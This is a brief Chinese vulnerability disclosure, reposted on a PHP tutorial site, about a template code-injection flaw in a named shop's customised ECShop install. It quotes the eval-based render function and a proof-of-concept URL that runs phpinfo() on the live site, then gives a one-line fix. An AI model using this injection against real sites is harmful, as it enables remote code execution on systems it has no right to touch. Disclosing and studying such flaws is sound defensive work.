来源：自学PHP网 时间：2015-04-17 12:00 作者： 阅读:次
[导读] 初刻用的是ecshop，但是程序员二次开发中太过随意，导致问题产生。。。http://www.crucco.com/huodongye.php?pn=zucefangsi在这里我们发现pn的值没有指定，可以任意提交，我们推断应该程序员写成...
|
初刻用的是ecshop，但是程序员二次开发中太过随意，导致问题产生。。。
http://www.crucco.com/huodongye.php?pn=zucefangsi
在这里我们发现pn的值没有指定，可以任意提交，我们推断应该程序员写成以下代码
$smarty->display($_GET['p']);
我们找到ecshop中的 display方法 发现里面用了eval
function _eval($content)
{
ob_start();
eval('?' . '>' . trim($content));
$content = ob_get_contents();
ob_end_clean();
return $content;
}
我们提交以下url:
http://www.crucco.com/huodongye.php?pn=str:%3C?php%20phpinfo%28%29;//
会发现可爱的phpinfo出来了
 修复方案：
指定pn的值 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
